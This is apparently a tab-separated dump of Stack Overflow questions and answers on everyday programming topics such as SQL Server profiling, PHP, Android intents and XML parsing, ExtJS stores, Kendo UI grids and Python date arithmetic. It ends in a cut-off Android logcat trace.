4287997	0	 <p>The most obvious tool would be SQL Profiler. It will monitor every SQL statement, and thus every data change, that gets sent to the server and show you metrics about that statement, the account under which the statement was executed and a host of other pieces of information and it comes free with most SQL Server versions. If you only want to see data changes, you can add filters to only show Insert, Update and Delete statements.</p> <p>If what you are trying to do is compare two databases to see what data is different between them, then I'd recommend something like Red-Gate's Data Compare (no I do not work for them). It is not free but invaluable for this type of column value by column value comparison.</p>
32289995	0	 <p>You can do this the way mentioned by Pawel or if you really need to use the control object:</p> <pre><code>control: { '[reference=table1]': { click: 'clickButton' }, }, </code></pre>
18397314	0	 <p>in you delete.php file :</p> <pre><code>if(isset($_GET['id']) &amp;&amp; $_GET['id'] != null &amp;&amp; $_GET['id'] != ""){ require_once 'function.php'; $myFunction = new myFunctionClass(); $myFunction-&gt;DoMyDeleteLogic($_GET['id']); // protect data from get before //or static class MyFunctionClass::DoMyDeleteLogic($_GET['id']); } else{ echo('datas missing...'); //put a throw exception } </code></pre>
17933357	0	 <p>AFAIK, it is not possible to have Sonar use the Checkstyle definitions from the repository. Is <em>is</em>, however, possible to have Sonar use the current Checkstyle suppression filter from the repository.</p> <p>As for the rules definitions, I think you will have to maintain them in Sonar, and when anything is changed, also change the copy in the repository which is used by eclipse-cs. This is redundant, but at least it affects only one person - the rest of the team can reap the benefits. This approach also enables intentional differences, e.g. when some Eclipse-specific issue is checked (say, something concerning source folders, which don't exist in Sonar).</p> <p>The path to the suppressions filter file can be <a href="http://stackoverflow.com/q/8623006/1005481">configured in Sonar</a> to refer to the location where your stuff is checked out for Sonar analysis. So that part can be maintained in the repository without any redundancy.</p>
4114670	0	 <p>another approach</p> <pre><code>protected void Page_Load(object sender, EventArgs e) { List&lt;string&gt; list = new List&lt;string&gt;(); list.Add("Bread"); list.Add("Cheeze"); list.Add("Wine"); list.Add("Beer"); list.Add("Waffles"); GridView1.DataSource = list; GridView1.DataBind(); GridView1.Columns.Add(new BoundField()); } </code></pre>
37047991	0	pusher realtime user online status through webhooks <p>I am working on an android app where I have done some realtime applications using pusher. I read about pusher webhooks and I couldn't quite understand the concept when I read it <a href="https://pusher.com/docs/webhooks" rel="nofollow">Here </a>. I want to implement the online status to my contacts and I read about it that it can be done with webhooks <a href="https://support.pusher.com/hc/en-us/articles/204113596-Showing-who-s-online-with-a-large-number-of-users" rel="nofollow">here</a>. Please can anyone explain the concept and usage of webhooks and how can I implement online status using it.</p>
30426727	1	How to avoid program freezing when connecting to server <p>I have a little script which filters those domain names which are not registred yet. I use pywhois module. The problem is that it suddenly freeze and do nothing after several (sometimes hundreds) of requests. I think it is not a ban because I can run the program right after freeze and it works.</p> <p>I would like to avoid this freezing. My idea is to count runtime of the function and if the time cross some line (for example 10 seconds) it repeats the code. </p> <p>Do you have any advice how to avoid the freezing? Or the better way to check domains?</p> <p>Here is the code:</p> <pre><code>for keyword in keywords: try: details = pythonwhois.get_whois(keyword+'.com') except Exception as e: print e continue if 'status' not in details.keys(): print 'Free domain!' print keyword </code></pre>
27635450	0	 <p>The "if" statement should be typed in lowercase. Check your indents also, it might be problem on them.</p>
8714302	0	 <p>You can pass data by creating a Bundle and adding it to the Intent object, then retrieving the Intent and reading the Bundle data in afterwards. Something like this will create a simple Bundle:</p> <pre><code>Bundle b = new Bundle(); b.putString("address", addressTV.getText().toString()); //can be whatever address string you want intent.putExtras(b); </code></pre>
11087496	0	How to pick out/trim part of a string using Shell <p>I am trying to trim this, which is stored in a variable called $line.</p> <pre><code>[2012-06-18 10:37:09,026 (there is a lot of text after this, i just cut it out) </code></pre> <p>I am new to shell scripting and this is the code that i have</p> <pre><code>errortime= $line | cut -c2-10; </code></pre> <p>it is giving me an error, what is the correct code to pull the date out of the variable $line.</p>
9296727	0	How to create an archive list in php? <p>I am creating my companies blog and would like to know how to go about creating an archive page where the reader can click on the month/year and display all blog posts for that time period.</p> <p>I see this very often on blogs these days and would like to know how I can myself create it.</p> <p>It will look something like this:</p> <ul> <li>July 2012</li> <li>June 2012</li> <li>March 2012</li> </ul> <p>Obviously I would want the list created dynamically by referencing the time field in my blog table, but where to start?</p> <p>Is there any documentation on how to implement this? </p> <p>I am creating my own blog from scratch.</p>
40225978	0	how to connect SQL server db with windows authentication from eclipse db perspective <p>How to connect SQL server db 2008 with windows authentication from eclipse db perspective.</p> <p>I don't have permission to put sqlserver .dll file on java library path or system 32 or even to set path to machine.</p> <p>So I try to do that using some modification on eclipse.ini file. I try to add -Djava.library.path="sql server.dll" on eclipse.ini after -vm line but still it is throwing driver is not configured for Integrated Security.</p>
11713855	0	 <p>Found the answer:</p> <ol> <li>The repeater had nothing to do with the problem.</li> <li><p>In Default.aspx, I needed to register the control by name rather than by namespace.</p> <pre><code>&lt;%@ Register TagPrefix="a" Namespace="nestedcontroltest" Assembly="nestedcontroltest" %&gt; </code></pre> <p>Needs to be changed to</p> <pre><code>&lt;%@ Register TagPrefix="a" TagName="MyControl" Src="~/MyControl.ascx" %&gt; </code></pre></li> </ol> <p>And then the control gets initialized properly, even when it's in the repeater. Perhaps a bug in ASP.net, or perhaps I needed to use the full assembly name? Regardless, thanks for all your help guys.</p>
18250356	0	Building SpiderMonkey with Cygwin <p>I need to build SpiderMonkey so that I can use it with emscripten. I succeeded in building version 1.8 (using the hack from here: <a href="http://pmelson.blogspot.fr/2007/12/building-didier-stevens-spidermonkey-in.html" rel="nofollow">http://pmelson.blogspot.fr/2007/12/building-didier-stevens-spidermonkey-in.html</a>). But unfortunately version 1.8 lacks JSON support and apparently that came into existance with version 1.8.1.</p> <p>Unfortunately I don't see any 1.8.1 tag/branch in CVS and I cannot use version 1.8.5 because the above hack no longer works with that version.</p> <p>Any ideas for getting this to work in Cygwin?</p>
6913326	0	How can I make my component to detect the mouse position? <p>I want to write a little component which shows me on which control mouse is currently over. When it spot the choosen control it should fire the messaage (for example).</p> <p>But I don't know what should I do to form to get the position of the mouse all the time. This is what I've got:</p> <pre><code> TMouseOverControl = class(TComponent) private fActive: Boolean; fControl: TWinControl; public constructor Create(AOwner: TComponent); override; procedure Loaded; override; procedure SpotIt; published property Active: Boolean read fActive write fActive; property Control: TWinControl read fControl write fControl; // when mouse is over this control show me the message end; constructor TMouseOverControl.Create(AOwner: TComponent); begin // nothing interesting here // don't have control property here - so overrided the loaded method inherited; end; procedure TMouseOverControl.Loaded; begin inherited; // TForm(Owner).Mo.... := SpotIt.... // what should i do to make it work? end; procedure TMouseOverControl.SpotIt; begin // IsMouseOverControl is easy to implement // http://delphi.about.com/od/delphitips2010/qt/is-some-delphi-tcontrol-under-the-mouse.htm if IsMouseOverControl(Control) then ShowMessage('Yep, U got it!'); end; </code></pre> <p>Any ideas?</p>
13377784	0	Can't find the file path which created by myself in android source code <p>I am testing something.</p> <p>I created <strong>assets</strong> folder in packages/apps/Camera/ and added the <strong>test.txt</strong> file in the folder.</p> <p>But when I accessed the file in the <strong>onCreate()</strong> method according the following code fragment, I found I can't get the file.</p> <pre><code> File file = new File("/assets/test.txt"); BufferedReader reader = null; try { Log.v("jerikc","read the file"); reader = new BufferedReader(new FileReader(file)); String tempString = null; int line = 1; while ((tempString = reader.readLine()) != null) { Log.v("jerikc","line " + line + ": " + tempString); line++; } reader.close(); } catch (IOException e) { Log.v("jerikc","exception"); e.printStackTrace(); } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { } } } </code></pre> <p>The log were :</p> <p><em>V/jerikc (3454): read the file</em></p> <p><em>V/jerikc (3454): exception</em></p> <p>I think I add the wrong path.("/assets/test.txt") . So what's the right path?</p> <p><strong>Some other informations:</strong></p> <p>Where my real code is a Util Class, there isn't the context. If I add the context, the code structure will have a big change. </p> <p>Thanks.</p>
29701202	0	Displaying big numbers in xtable properly <p>I know it might seem as a trivial question but I tried really hard to find solution and it was impossible. Assume I have a data frame like this where one column contatins big numbers:</p> <pre><code>Id Value 1 2158456456456.78 2 123354554.24 3 72323211215.77 </code></pre> <p>I want to put that data frame into latex document using function xtable but I don't want the table to display the numbers like above but in a formatted way like this:</p> <pre><code>Id Value 1 2 158 456 456 456.78 2 123 354 554.24 3 72 323 211 215.77 </code></pre> <p>Any ideas?</p>
24074638	0	XML DTD parent object same with child object <p>For an example. inside my xml</p> <pre><code>&lt;?xml version="1.0"?&gt; &lt;!DOCTYPE expression SYSTEM "task3-1.dtd"&gt; &lt;expression&gt; &lt;left-bracket&gt;(&lt;/left-bracket&gt; &lt;expression&gt; &lt;left-bracket&gt;(&lt;/left-bracket&gt; &lt;expression&gt; &lt;number&gt;24&lt;/number&gt; &lt;operation&gt;+&lt;/operation&gt; &lt;number&gt;24&lt;/number&gt; &lt;/expression&gt; &lt;right-bracket&gt;)&lt;/right-bracket&gt; &lt;operation&gt;*&lt;/operation&gt; &lt;number&gt;5&lt;/number&gt; &lt;/expression&gt; &lt;right-bracket&gt;)&lt;/right-bracket&gt; &lt;operation&gt;-&lt;/operation&gt; &lt;number&gt;6&lt;/number&gt; &lt;/expression&gt; </code></pre> <p>When i try to run the dtd, it's always error that: The element "expression" has invalid child element 'number'. List of possible elements expected: 'left-bracket'</p> <pre><code>&lt;!ELEMENT expression (left-bracket+,right-bracket,operation,number+)&gt; &lt;!ELEMENT left-bracket (#PCDATA)&gt; &lt;!ELEMENT right-bracket (#PCDATA)&gt; &lt;!ELEMENT operation (#PCDATA)&gt; &lt;!ELEMENT number (#PCDATA)&gt; </code></pre>
9307014	0	Assign a value to a variable with DataStore fields value <p>I need to declare a variable TeacherName that will receive its value from the DataStore field 'NameT'</p> <pre><code>var storeTeacher = new Ext.data.JsonStore({ id: 'IDstoreTeacher', url: 'teacher.php', method: 'POST', baseParams:{task: "TEACHERNAME", parametar: idTeacher}, root: 'rows', fields: [{name: 'NameT', type: 'string', mapping: 'teacher_name'}], autoLoad: true }); var TeacherName = NameT; </code></pre> <p>But in Firebug I always get the following error message: "Uncaught ReferenceError: NameT is not defined"</p>
5791211	0	How do I extract Rails view helpers into a gem? <p>I have a set of rails view helpers that I use regularly, and would like to package them up into a gem, such that I could just put a line in my Gemfile, and have the helpers accessible from my views.</p> <p>I have created gems before using Bundler, and Jeweler, however, I'm not all all clear on how to organize the Rails view helpers in a gem, and include them into rails.</p> <p>I would appreciate any pointers, or links to up-to-date tutorials on how to do this for Rails 3</p> <p>Thanks</p> <p>Just to clarify: The question isn't on "how to create a gem". Its "how to package view helpers in a gem, so I can use them in Rails"</p> <p>Edit 2: I also agree with the poster below.. A rails engine is waay too much overkill for this kind of (hopefully simple) requirement</p>
19463130	0	how to know how many object type="file" there are in a jsp <p>i'm created a form to upload images into a blob field of a mysql database.</p> <p>In a servlet i get the imagine inside a type="file" field in a jsp page.</p> <pre><code> Part filePart = request.getPart("Name_of_the_FILE_fields"); </code></pre> <p>Now i want to allow user to upload more images at the same time, so i put in my jsp page a lot of type="file" field.</p> <p>I thought that i could do something like this </p> <pre><code> Part filePart[] =request.getParameterValues("Name_of_the_FILE_fields"); </code></pre> <p>but of course this is not the right way to do it.</p>
33647062	0	 <p>I believe that Modelsim has change the default value of the log parameter of the assertions on the new versions.</p> <p>In the previous versions, it seems that the default configuration of the assertions was with the log option enabled, but in the 10.4 all assertions are not logged when testbench is loaded, and when an assertion is triggered it is reported but it is not registered at the assertions panel (View – Coverage -- Assertions)</p> <p>I fix this error invoking the logging function of the assertions:</p> <p>assertion fail -log on -recursive /</p> <p>It seems that invoking this command at the start of the sequence is enough to enable the logging process and it fix the problems with the assertions count command.</p>
14210141	0	How to get the saved value form my custom form field type in joomla? <p>I have created my custom form field for a module.However, it work will but when ever i get back to the module i don't know what is the previous value or the saved value, because i didn't make it selected there. </p> <pre><code>&lt;?php // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); jimport('joomla.form.formfield'); class JFormFieldSlidercategory extends JFormField { protected $type = 'Slidercategory'; // getLabel() left out public function getInput() { $db = JFactory::getDBO(); $query = $db-&gt;getQuery(true); $query-&gt;select('id,title'); $query-&gt;from('#__h2mslider_categories'); $db-&gt;setQuery((string)$query); $messages = $db-&gt;loadObjectList(); $options =''; if ($messages) { foreach($messages as $message) { $options .= '&lt;option value="'.$message-&gt;id.'" &gt;'.$message-&gt;title.'&lt;/option&gt;'; } } $options = '&lt;select id="'.$this-&gt;id.'" name="'.$this-&gt;name.'"&gt;'. '&lt;option value="0" &gt;--select a category--&lt;/option&gt;'. $options. '&lt;/select&gt;'; return $options ; } } </code></pre> <p>I need the function that return me the saved value.</p>
6200641	0	 <p>There doesn't seem to be a specific download that provides these symbols, however Visual Studio Professional and higher (I'm unsure about Express editions) ships with the debug information in the following location:</p> <blockquote> <p>&lt;path to VS install&gt;\VC\lib</p> </blockquote> <p>which on most machines is:</p> <blockquote> <p>C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\lib</p> </blockquote> <p>I would have expected these symbols to have been picked up auto-magically by VS, but I had to manually add them to my symbol path by doing:</p> <blockquote> <ul> <li>Debug->Options and Settings->Symbol</li> <li>Click the folder icon to add a symbol folder </li> <li>Provide the path C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\lib </li> <li>Check the box next to it to enable it</li> <li>Click 'Load All Symbols'</li> <li>Click 'OK'</li> </ul> </blockquote>
2468860	0	 <p><strong>Read This:</strong> </p> <blockquote> <p><a href="http://www.adobe.com/cfusion/communityengine/index.cfm?event=showdetails&amp;productId=1&amp;postId=1104" rel="nofollow noreferrer">http://www.adobe.com/cfusion/communityengine/index.cfm?event=showdetails&amp;productId=1&amp;postId=1104</a></p> </blockquote> <pre><code>&lt;script type="text/javascript"&gt; try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} &lt;/script&gt; </code></pre> <p>OR try CSS way</p> <pre><code>html { filter: expression(document.execCommand("BackgroundImageCache", false, true)); } </code></pre> <p>hope this help!</p>
18513710	0	 <p>you can use this, is quite good, it contains almost all what you need to know.</p> <p><a href="http://www.cs.rutgers.edu/~decarlo/428/glman.html" rel="nofollow">http://www.cs.rutgers.edu/~decarlo/428/glman.html</a></p>
39627458	0	 <p>You have several problems with your code. The simple things first:</p> <ul> <li><code>starting_Month</code> and <code>starting_Day</code>. Caps only belong in class names, e.g. <code>class MyClass:</code>.</li> <li><code>datetime</code> has a <code>.date()</code> function that returns just the date.</li> <li><p>string formatting is <em>way</em> nicer than concatenation. Compare:</p> <pre><code>'{}-{}-{}'.format(year, starting_month, starting_day) </code></pre> <p>to what you have.</p></li> <li>You <em>have</em> the answer commented out - <code>print((d1-d2).days * 24 * 60)</code>. Just change that up: <code>print((date1-date2).days)</code></li> <li><p>You could actually just use math here:</p> <pre><code>pills_left = initial_pill_count - (daily_intake * number_of_days) </code></pre></li> </ul> <p>Putting this all together, here's how you should have written this:</p> <pre><code>from datetime import datetime # Just convert to int when you get the input. Also, only one space # before input. leftover_pill_count = int(input('How many pills do you have left? ')) new_pill_count = int(input('How many pills did you get? ')) daily_pill_intake = int(input('How many pills do you take every day? ')) # And one space before input! start_date = input('Starting date (YYYY-MM-DD): ') end_date = input('End date (YYYY-MM-DD): ') # Using the same format multiple places? Use a variable! # that way you only have to change it once :) date_fmt = '%Y-%m-%d' start_date = datetime.strptime(start_date, date_fmt) end_date = datetime.strptime(end_date, date_fmt) # `end-start`, always. Or you could use `abs(start-end)`, # but don't do that. total_days = (end_date-start_date).days initial_pill_count = leftover_pill_count + new_pill_count # Here's how the loop *should* look loop_pills_left = initial_pill_count for i in range(total_days): loop_pills_left -= daily_pill_intake print(loop_pills_left) # Or you could approach it mathematically! math_end_count = initial_pill_count - (daily_pill_intake * total_days) # Let's just make sure that both approaches get us the same answer, though assert math_end_count == loop_pills_left, 'If this fails, we got our math wrong' pills_left = loop_pills_left # String formatting is *much* nicer than concatenation. print('Taking {} pills per day you should have {} pills left.' .format(daily_pill_intake, pills_left)) </code></pre>
38794707	0	 <p>Use <code>x.fill(1)</code>. Make sure to return it properly as <code>fill</code> doesn't return a new variable, it modifies <code>x</code></p>
6790341	0	Including process execution time into shell prompt <p>Is it possible to include the execution time of the just finished process - the output of the 'time' command - into the command prompt? We use zsh on linux and bash (msys) on windows machines so it would be nice to know how to do it in both.</p>
35956089	0	 <p>I had the same problem. I solved it using Auth:login($array). Change your code to </p> <pre><code>public function postLogin(Request $request) { $this-&gt;validate($request, [ 'email' =&gt; 'required|email', 'password' =&gt; 'required' ]); $data = $request-&gt;input(); if(Auth::login($data)){ return redirect('/dashboard'); } return redirect()-&gt;back()-&gt;with(['fail' =&gt; 'Could not Login']); } </code></pre>
36091830	0	Connect all UI Elements to one outlet at once, swift <p>Using Swift 2 and XCode 7.2.1, is there a way to connect all of the UI Elements (buttons and labels) to one outlet? I feel like this would be done by doing CMD-A on all your elements then control-dragging to your code, but this only hooks up one of the selected elements to the outlet.</p>
31817022	0	 <p>Create a promise for each of the tasks that should execute in series. Then it should be simple chaining of the promises in the required order.</p>
14699954	0	 <p>It's the expression builder syntax for ASP.NET, have a look at this question for more information <a href="http://stackoverflow.com/questions/7934160/asp-net-syntax">asp.net &lt;%$ ... %&gt; syntax</a></p>
20259706	0	 <p>You could easily put the lazy load logic within the viewmodel that holds your <code>PImage1</code> property. Your property would need to return an ImageSource. </p> <pre><code>private ImageSource _source; public ImageSource PImage1 { get { if (_source == null) { using (var storage = IsolatedStorageFile.GetUserStoreForApplication()) { if (storage.FileExists("Image.jpg")) { var bitmap = new BitmapImage(); bitmap.SetSource(storage.OpenFile("Image.jpg", FileMode.Open)); _source = bitmap; return _source; } } LoadImage(); } return _source; } set { _source = value; OnPropertyChanged("PImage1"); } } </code></pre> <p>Inside the LoadImage method, you'll make a request to get your image, save it to local storage, and then set the PImage1 property. Make sure to set the property on the UI thread</p> <pre><code>private void LoadImage() { // make a request to get the image. // Use your flavor of choice, WebRequest, HttpClient, WebClient Stream image = GetImageFromMyFavoriteHttp; using (var storage = IsolatedStorageFile.GetUserStoreForApplication()) { using (var file = storage.CreateFile("Image.jpg")) { image.CopyTo(file); } } Deployment.Current.Dispatcher.BeginInvoke(() =&gt; { var bitmap = new BitmapImage(); bitmap.SetSource(image); Image = bitmap; }); } </code></pre>
31127333	0	 <p>You can copy the original list by slicing it:</p> <pre><code>a = [1, 2, 3] b = a[:] </code></pre> <p>Or using the built in list list() funtion:</p> <pre><code>b = list(a) </code></pre> <p>You could also use list comprehension in place of your nested for loops:</p> <pre><code>b = [[i if i else 1 for i in j] for j in a] </code></pre>
2522163	0	 <p>Referencing a javascript file from a different domain is no problem. This is not cross site scripting, it's simply a cross site HTTP request. This is used a lot, e.g. by Google's JavaScript API Loader.</p>
23713810	0	 <p>you need to change this </p> <pre><code> &lt;input type="hidden" name="id" value='&lt;?php $id?&gt;'&gt; </code></pre> <p>to</p> <pre><code> &lt;input type="hidden" name="id" value='&lt;?php echo $id?&gt;'&gt; </code></pre> <p>(or)</p> <pre><code> &lt;input type="hidden" name="id" value='&lt;?=$id?&gt;'&gt; </code></pre>
37593518	0	Angular :: Kendo UI Grid :: Pagination style <p>I want to change the pagination style of Kendo Grid. Currnetly it display number in round box. I want to display in Square box. I am using Angular 1.5.5 and Kendo UI for it.</p> <p><a href="http://i.stack.imgur.com/UwxUr.png" rel="nofollow">The Kendo UI Grid having pagination style in round box, I need in Square box</a></p> <p>How to do that?</p>
22917984	0	 <p>If you dont see the device in the Devices lists:</p> <p>First, you need to make sure USB debugging is enabled on your device. Settings->DeveloperOptions: Turn on debugging and enable USB debugging. Ideally, you will install the USB drivers from google, and it will work fine: <a href="http://developer.android.com/tools/extras/oem-usb.html#InstallingDriver" rel="nofollow">http://developer.android.com/tools/extras/oem-usb.html#InstallingDriver</a>. There are some cases that new installation may mess up the device connection. You may want to try these:</p> <ol> <li>It may lost the connection, so you can try:</li> </ol> <blockquote> <pre><code> adb kill-server adb start-server adb devices </code></pre> </blockquote> <ol> <li><p>Updating to new tools may mess up the settings: Go to Storage Options and try to set as Media(MTP) or Camera(PTP) connection. Swtiching to one of them will help</p></li> <li><p>Revoke authorizations, disable usb debugging and then enable</p></li> </ol>
21245070	0	 <p>It looks like so long as there is <em>at least one character</em> between the <code>div</code>s in the raw markup, the spacing is correct. This workaround worked for me:</p> <pre><code>div.grid div.column Item 1 . div.column Item 2 . div.column Item 3 . div.column Item 4 . div.column Item 5 </code></pre> <p>Since the <code>font-size</code> of <code>.grid</code> is <code>0</code>, the periods are not visible.</p>
35903511	0	AngularJS - Allow a calculated input to be editable <p>I have a basic addition calculator that looks like this:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html ng-app&gt; &lt;head&gt; &lt;script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.min.js"&gt; &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;input type="number" ng-model="input1" /&gt; + &lt;input type="number" ng-model="input2" /&gt; = &lt;input type="number" ng-model="input1 + input2" /&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Which looks like this:</p> <p>2 + 3 = 5</p> <p>I now have a requirement to make the third input editable and when changed it changes the value in the first input so that the numbers add up. So in the above example, supposing I change 5 to 6 it will look like this:</p> <p>3 + 3 = 6</p> <p>But because the model of the third input is a calculation I can't edit it. Please can someone advise how can I make it so that all three inputs are editable and yet still perform the required calculation?</p>
17942533	0	 <pre><code>$_SESSION['userName'] = 'oneUser'; $activities = array(); $activityKeys = array('ID','name','spaces','date'); function getActivities() { global $activities,$activityKeys; $activities = array(); $contents = file('activity.txt'); foreach($contents as $line) { $activity = explode(':',$line); $data = array_combine($activityKeys,explode(',',$activity[0])); $users = isset($activity[1]) ? array_filter(explode(',',trim($activity[1]))) : array(); $activities[$data['ID']] = compact('data','users'); } } getActivities(); function userInActivity($activityID) { global $activities; return in_array($_SESSION['userName'],$activities[$activityID]['users']); } function saveActivities() { global $activities; $lines = array(); foreach($activities as $id =&gt; $activity) { $lines[$id] = implode(',',$activity['data']).':'.implode(',',array_filter($activity['users'])); } return file_put_contents('activity.txt',implode("\r\n",$lines)) !== false; } function bookActivity() { global $activities; if(isset($_POST['book'])) { $unbook = false; $bookID = intval($_POST['book']); if($bookID &lt; 0) { //If a negative ID has been submitted, that means we are "unbooking" $unbook = true; $bookID = abs($bookID); //Set the ID back to the normal, positive value } if($unbook) { $users = $activities[$bookID]['users']; $userKey = array_search($_SESSION['userName'],$users); array_splice($activities[$bookID]['users'],$userKey,1); } else { $activities[$bookID]['users'][] = $_SESSION['userName']; } saveActivities(); } } bookActivity(); function activityList($form=true) { global $activities; if($form === true) echo '&lt;form action="" method="post"&gt;'; ?&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;?php $firstKey = @array_shift(array_keys($activities)); foreach(array_keys($activities[$firstKey]['data']) as $index =&gt; $column) { echo '&lt;th&gt;'.$column.'&lt;/th&gt;'; } ?&gt; &lt;th&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach($activities as $activity) { echo '&lt;tr&gt;'; $id = $activity['data']['ID']; $activity['data']['spaces'] = $activity['data']['spaces']-count($activity['users']); foreach($activity['data'] as $item) { echo '&lt;td&gt;'.$item.'&lt;/td&gt;'; } $booked = userInActivity($id,$_SESSION['userName']); $buttonText = $booked ? 'Unbook' : 'Book'; $val = $booked ? -$id : $id; echo '&lt;td&gt;&lt;button type="submit" name="book" value="'.$val.'"&gt;'.$buttonText.'&lt;/button&gt;&lt;/td&gt;'; echo '&lt;/tr&gt;'; } ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;?php if($form === true) echo '&lt;/form&gt;'; } ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt; &lt;title&gt;Activities&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;?php activityList(); ?&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
3404654	0	 <p>For this problem you can use the STL's transform method to solve it:</p> <pre><code>std::string str = "simple"; std::transform(str.begin(), str.end(), str.begin(), std::tolower); </code></pre>
11711717	0	Xml Parsing to android ListView Using IBM example <p>Im trying to make a Manga Rss-Reader app using the XmlPullParser that was used in <a href="http://www.ibm.com/developerworks/xml/tutorials/x-androidrss/index.html" rel="nofollow">this IBM example</a>. I have taken the IBM source code and only changed the feedURL to "http://fandom.com/rss/new/manga" and the PUB_DATE string in all files has been changed to PUBDATE instead. Still I cant get the app to run correctly.</p> <p>For reference I have renamed the source Otaku as I plan to use it as the base for a new app. It's supposed to show this Rss feed as a ListView but I dont understand where the problem lies. I happen to be logcat illiterate :(. my log cat states:</p> <pre><code>07-29 13:24:17.963: E/Trace(670): error opening trace file: No such file or directory(2) 07-29 13:24:18.113: W/ActivityThread(670): Application com.mypacks.activities.otaku is waiting for the debugger on port 8100... 07-29 13:24:18.133: I/System.out(670): Sending WAIT chunk 07-29 13:24:18.133: I/dalvikvm(670): Debugger is active 07-29 13:24:18.333: I/System.out(670): Debugger has connected 07-29 13:24:18.333: I/System.out(670): waiting for debugger to settle... 07-29 13:24:18.533: I/System.out(670): waiting for debugger to settle... 07-29 13:24:18.733: I/System.out(670): waiting for debugger to settle... 07-29 13:24:18.943: I/System.out(670): waiting for debugger to settle... 07-29 13:24:19.171: I/System.out(670): waiting for debugger to settle... 07-29 13:24:19.386: I/System.out(670): waiting for debugger to settle... 07-29 13:24:19.646: I/System.out(670): waiting for debugger to settle... 07-29 13:24:19.857: I/System.out(670): waiting for debugger to settle... 07-29 13:24:20.089: I/System.out(670): debugger has settled (1518) 07-29 13:24:20.753: I/AndroidNews(670): ParserType=XML_PULL 07-29 13:24:20.903: E/AndroidNews(670): android.os.NetworkOnMainThreadException 07-29 13:24:20.903: E/AndroidNews(670): java.lang.RuntimeException: android.os.NetworkOnMainThreadException 07-29 13:24:20.903: E/AndroidNews(670): at com.mypacks.internals.otaku.XmlPullFeedParser.parse(XmlPullFeedParser.java:57) 07-29 13:24:20.903: E/AndroidNews(670): at com.mypacks.internals.otaku.MessageList.loadFeed(MessageList.java:77) 07-29 13:24:20.903: E/AndroidNews(670): at com.mypacks.internals.otaku.MessageList.onCreate(MessageList.java:33) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.Activity.performCreate(Activity.java:5008) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1079) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2023) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2084) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.ActivityThread.access$600(ActivityThread.java:130) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1195) 07-29 13:24:20.903: E/AndroidNews(670): at android.os.Handler.dispatchMessage(Handler.java:99) 07-29 13:24:20.903: E/AndroidNews(670): at android.os.Looper.loop(Looper.java:137) 07-29 13:24:20.903: E/AndroidNews(670): at android.app.ActivityThread.main(ActivityThread.java:4745) 07-29 13:24:20.903: E/AndroidNews(670): at java.lang.reflect.Method.invokeNative(Native Method) 07-29 13:24:20.903: E/AndroidNews(670): at java.lang.reflect.Method.invoke(Method.java:511) 07-29 13:24:20.903: E/AndroidNews(670): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786) 07-29 13:24:20.903: E/AndroidNews(670): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 07-29 13:24:20.903: E/AndroidNews(670): at dalvik.system.NativeStart.main(Native Method) 07-29 13:24:20.903: E/AndroidNews(670): Caused by: android.os.NetworkOnMainThreadException 07-29 13:24:20.903: E/AndroidNews(670): at android.os.StrictMode$AndroidBlockGuardPolicy.onNetwork(StrictMode.java:1117) 07-29 13:24:20.903: E/AndroidNews(670): at java.net.InetAddress.lookupHostByName(InetAddress.java:385) 07-29 13:24:20.903: E/AndroidNews(670): at java.net.InetAddress.getAllByNameImpl(InetAddress.java:236) 07-29 13:24:20.903: E/AndroidNews(670): at java.net.InetAddress.getAllByName(InetAddress.java:214) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpConnection.&lt;init&gt;(HttpConnection.java:70) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpConnection.&lt;init&gt;(HttpConnection.java:50) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpConnection$Address.connect(HttpConnection.java:341) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpConnectionPool.get(HttpConnectionPool.java:87) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpConnection.connect(HttpConnection.java:128) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpEngine.openSocketConnection(HttpEngine.java:315) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpEngine.connect(HttpEngine.java:310) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpEngine.sendSocketRequest(HttpEngine.java:289) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpEngine.sendRequest(HttpEngine.java:239) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpURLConnectionImpl.getResponse(HttpURLConnectionImpl.java:273) 07-29 13:24:20.903: E/AndroidNews(670): at libcore.net.http.HttpURLConnectionImpl.getInputStream(HttpURLConnectionImpl.java:168) 07-29 13:24:20.903: E/AndroidNews(670): at 